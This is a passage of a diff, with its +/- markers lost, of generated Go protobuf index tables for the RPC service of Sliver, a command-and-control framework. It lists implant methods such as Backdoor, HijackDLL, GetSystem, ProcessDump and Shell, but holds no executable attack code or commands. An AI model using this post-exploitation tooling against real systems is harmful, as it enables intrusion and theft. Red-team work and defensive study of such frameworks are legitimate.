(*sliverpb.MakeToken)(nil), // 139: sliverpb.MakeToken
|
||||
(*sliverpb.EnvInfo)(nil), // 140: sliverpb.EnvInfo
|
||||
(*sliverpb.SetEnv)(nil), // 141: sliverpb.SetEnv
|
||||
(*sliverpb.UnsetEnv)(nil), // 142: sliverpb.UnsetEnv
|
||||
(*sliverpb.Backdoor)(nil), // 143: sliverpb.Backdoor
|
||||
(*sliverpb.RegistryRead)(nil), // 144: sliverpb.RegistryRead
|
||||
(*sliverpb.RegistryWrite)(nil), // 145: sliverpb.RegistryWrite
|
||||
(*sliverpb.RegistryCreateKey)(nil), // 146: sliverpb.RegistryCreateKey
|
||||
(*sliverpb.RegistryDeleteKey)(nil), // 147: sliverpb.RegistryDeleteKey
|
||||
(*sliverpb.RegistrySubKeyList)(nil), // 148: sliverpb.RegistrySubKeyList
|
||||
(*sliverpb.RegistryValuesList)(nil), // 149: sliverpb.RegistryValuesList
|
||||
(*sliverpb.SSHCommand)(nil), // 150: sliverpb.SSHCommand
|
||||
(*clientpb.DllHijack)(nil), // 151: clientpb.DllHijack
|
||||
(*sliverpb.GetPrivs)(nil), // 152: sliverpb.GetPrivs
|
||||
(*sliverpb.RegisterExtension)(nil), // 153: sliverpb.RegisterExtension
|
||||
(*sliverpb.CallExtension)(nil), // 154: sliverpb.CallExtension
|
||||
(*sliverpb.ListExtensions)(nil), // 155: sliverpb.ListExtensions
|
||||
(*sliverpb.WGPortForward)(nil), // 156: sliverpb.WGPortForward
|
||||
(*sliverpb.WGSocks)(nil), // 157: sliverpb.WGSocks
|
||||
(*sliverpb.WGTCPForwarders)(nil), // 158: sliverpb.WGTCPForwarders
|
||||
(*sliverpb.WGSocksServers)(nil), // 159: sliverpb.WGSocksServers
|
||||
(*sliverpb.Shell)(nil), // 160: sliverpb.Shell
|
||||
(*sliverpb.Portfwd)(nil), // 161: sliverpb.Portfwd
|
||||
(*clientpb.Event)(nil), // 162: clientpb.Event
|
||||
}
|
||||
var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
|
||||
@@ -696,159 +712,165 @@ var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
49, // 76: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq
|
||||
50, // 77: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq
|
||||
51, // 78: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq
|
||||
52, // 79: rpcpb.SliverRPC.PivotListeners:input_type -> sliverpb.PivotListenersReq
|
||||
53, // 80: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
|
||||
54, // 81: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
|
||||
55, // 82: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
|
||||
56, // 83: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq
|
||||
57, // 84: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq
|
||||
58, // 85: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq
|
||||
59, // 86: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq
|
||||
60, // 87: rpcpb.SliverRPC.Backdoor:input_type -> sliverpb.BackdoorReq
|
||||
61, // 88: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
|
||||
62, // 89: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
|
||||
63, // 90: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
|
||||
64, // 91: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
|
||||
65, // 92: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
|
||||
66, // 93: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
|
||||
67, // 94: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
|
||||
68, // 95: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
|
||||
69, // 96: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
|
||||
70, // 97: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
|
||||
71, // 98: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
|
||||
72, // 99: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
|
||||
73, // 100: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
|
||||
74, // 101: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
|
||||
75, // 102: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
|
||||
76, // 103: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
|
||||
77, // 104: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
|
||||
78, // 105: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
|
||||
79, // 106: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
|
||||
80, // 107: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
|
||||
81, // 108: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
|
||||
81, // 109: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
|
||||
82, // 110: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
|
||||
83, // 111: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
|
||||
83, // 112: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
|
||||
84, // 113: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
|
||||
0, // 114: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
|
||||
85, // 115: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
|
||||
86, // 116: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
|
||||
0, // 117: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
|
||||
87, // 118: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
|
||||
88, // 119: rpcpb.SliverRPC.UpdateSession:output_type -> clientpb.Session
|
||||
89, // 120: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
|
||||
3, // 121: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
|
||||
0, // 122: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
|
||||
90, // 123: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
|
||||
4, // 124: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
|
||||
91, // 125: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
|
||||
0, // 126: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
|
||||
92, // 127: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
|
||||
93, // 128: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
|
||||
94, // 129: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
|
||||
95, // 130: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
|
||||
96, // 131: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
|
||||
97, // 132: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
|
||||
97, // 133: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
|
||||
98, // 134: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
|
||||
98, // 135: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
|
||||
11, // 136: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
|
||||
0, // 137: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
|
||||
11, // 138: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
|
||||
11, // 139: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
|
||||
99, // 140: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
|
||||
99, // 141: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
|
||||
100, // 142: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
|
||||
12, // 143: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
|
||||
0, // 144: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
|
||||
0, // 145: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
|
||||
101, // 146: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
|
||||
101, // 147: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
|
||||
102, // 148: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
|
||||
0, // 149: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
|
||||
103, // 150: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
|
||||
104, // 151: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
|
||||
105, // 152: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
|
||||
106, // 153: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
|
||||
0, // 154: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
|
||||
17, // 155: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
|
||||
107, // 156: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
|
||||
108, // 157: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
|
||||
109, // 158: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
|
||||
110, // 159: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
|
||||
20, // 160: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
|
||||
0, // 161: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
|
||||
20, // 162: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
|
||||
20, // 163: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
|
||||
20, // 164: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
|
||||
23, // 165: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
|
||||
111, // 166: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
|
||||
112, // 167: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
|
||||
113, // 168: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
|
||||
114, // 169: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
|
||||
115, // 170: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
|
||||
116, // 171: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
|
||||
116, // 172: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
|
||||
117, // 173: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
|
||||
118, // 174: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
|
||||
119, // 175: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
|
||||
120, // 176: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
|
||||
121, // 177: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
|
||||
122, // 178: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
|
||||
123, // 179: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
|
||||
124, // 180: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
|
||||
125, // 181: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
|
||||
126, // 182: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
|
||||
126, // 183: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
|
||||
126, // 184: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
|
||||
127, // 185: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
|
||||
128, // 186: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
|
||||
129, // 187: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
|
||||
129, // 188: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
|
||||
130, // 189: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
|
||||
131, // 190: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
|
||||
132, // 191: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
|
||||
133, // 192: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
|
||||
0, // 193: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
|
||||
134, // 194: rpcpb.SliverRPC.PivotListeners:output_type -> sliverpb.PivotListeners
|
||||
135, // 195: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
|
||||
135, // 196: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
|
||||
135, // 197: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
|
||||
136, // 198: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
|
||||
137, // 199: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
|
||||
138, // 200: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
|
||||
139, // 201: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
|
||||
140, // 202: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
|
||||
141, // 203: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
|
||||
142, // 204: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
|
||||
143, // 205: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
|
||||
144, // 206: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
|
||||
145, // 207: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
|
||||
146, // 208: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
|
||||
147, // 209: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
|
||||
148, // 210: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
|
||||
69, // 211: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
|
||||
149, // 212: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
|
||||
150, // 213: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
|
||||
151, // 214: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
|
||||
152, // 215: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
|
||||
152, // 216: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
|
||||
153, // 217: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
|
||||
153, // 218: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
|
||||
154, // 219: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
|
||||
155, // 220: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
|
||||
156, // 221: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
|
||||
157, // 222: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
|
||||
81, // 223: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
|
||||
0, // 224: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
|
||||
82, // 225: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
|
||||
83, // 226: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
|
||||
0, // 227: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
|
||||
84, // 228: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
|
||||
158, // 229: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
|
||||
115, // [115:230] is the sub-list for method output_type
|
||||
0, // [0:115] is the sub-list for method input_type
|
||||
52, // 79: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq
|
||||
0, // 80: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty
|
||||
53, // 81: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
|
||||
54, // 82: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
|
||||
55, // 83: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
|
||||
56, // 84: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq
|
||||
57, // 85: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq
|
||||
58, // 86: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq
|
||||
59, // 87: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq
|
||||
60, // 88: rpcpb.SliverRPC.Backdoor:input_type -> sliverpb.BackdoorReq
|
||||
61, // 89: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
|
||||
62, // 90: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
|
||||
63, // 91: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
|
||||
64, // 92: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq
|
||||
65, // 93: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
|
||||
66, // 94: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
|
||||
67, // 95: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
|
||||
68, // 96: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
|
||||
69, // 97: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
|
||||
70, // 98: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
|
||||
71, // 99: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession
|
||||
72, // 100: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
|
||||
73, // 101: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
|
||||
74, // 102: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
|
||||
75, // 103: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
|
||||
76, // 104: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
|
||||
77, // 105: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
|
||||
78, // 106: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
|
||||
79, // 107: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
|
||||
80, // 108: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
|
||||
81, // 109: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
|
||||
82, // 110: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
|
||||
83, // 111: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
|
||||
83, // 112: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
|
||||
84, // 113: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
|
||||
85, // 114: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
|
||||
85, // 115: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
|
||||
86, // 116: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
|
||||
0, // 117: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
|
||||
87, // 118: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
|
||||
88, // 119: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
|
||||
0, // 120: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
|
||||
89, // 121: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
|
||||
90, // 122: rpcpb.SliverRPC.UpdateSession:output_type -> clientpb.Session
|
||||
91, // 123: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
|
||||
3, // 124: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
|
||||
0, // 125: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
|
||||
92, // 126: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
|
||||
4, // 127: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
|
||||
93, // 128: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
|
||||
0, // 129: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
|
||||
94, // 130: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
|
||||
95, // 131: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
|
||||
96, // 132: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
|
||||
97, // 133: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
|
||||
98, // 134: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
|
||||
99, // 135: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
|
||||
99, // 136: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
|
||||
100, // 137: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
|
||||
100, // 138: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
|
||||
11, // 139: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
|
||||
0, // 140: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
|
||||
11, // 141: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
|
||||
11, // 142: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
|
||||
101, // 143: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
|
||||
101, // 144: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
|
||||
102, // 145: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
|
||||
12, // 146: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
|
||||
0, // 147: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
|
||||
0, // 148: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
|
||||
103, // 149: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
|
||||
103, // 150: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
|
||||
104, // 151: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
|
||||
0, // 152: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
|
||||
105, // 153: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
|
||||
106, // 154: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
|
||||
107, // 155: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
|
||||
108, // 156: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
|
||||
0, // 157: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
|
||||
17, // 158: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
|
||||
109, // 159: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
|
||||
110, // 160: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
|
||||
111, // 161: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
|
||||
112, // 162: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
|
||||
20, // 163: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
|
||||
0, // 164: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
|
||||
20, // 165: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
|
||||
20, // 166: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
|
||||
20, // 167: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
|
||||
23, // 168: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
|
||||
113, // 169: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
|
||||
114, // 170: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
|
||||
115, // 171: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
|
||||
116, // 172: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
|
||||
117, // 173: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
|
||||
118, // 174: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
|
||||
118, // 175: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
|
||||
119, // 176: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
|
||||
120, // 177: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
|
||||
121, // 178: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
|
||||
122, // 179: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
|
||||
123, // 180: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
|
||||
124, // 181: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
|
||||
125, // 182: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
|
||||
126, // 183: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
|
||||
127, // 184: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
|
||||
128, // 185: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
|
||||
128, // 186: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
|
||||
128, // 187: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
|
||||
129, // 188: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
|
||||
130, // 189: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
|
||||
131, // 190: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
|
||||
131, // 191: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
|
||||
132, // 192: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
|
||||
133, // 193: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
|
||||
134, // 194: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
|
||||
135, // 195: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
|
||||
0, // 196: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
|
||||
136, // 197: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
|
||||
137, // 198: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
|
||||
138, // 199: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
|
||||
138, // 200: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
|
||||
138, // 201: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
|
||||
139, // 202: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
|
||||
140, // 203: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
|
||||
141, // 204: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
|
||||
142, // 205: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
|
||||
143, // 206: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
|
||||
144, // 207: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
|
||||
145, // 208: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
|
||||
146, // 209: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
|
||||
147, // 210: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
|
||||
148, // 211: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
|
||||
149, // 212: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
|
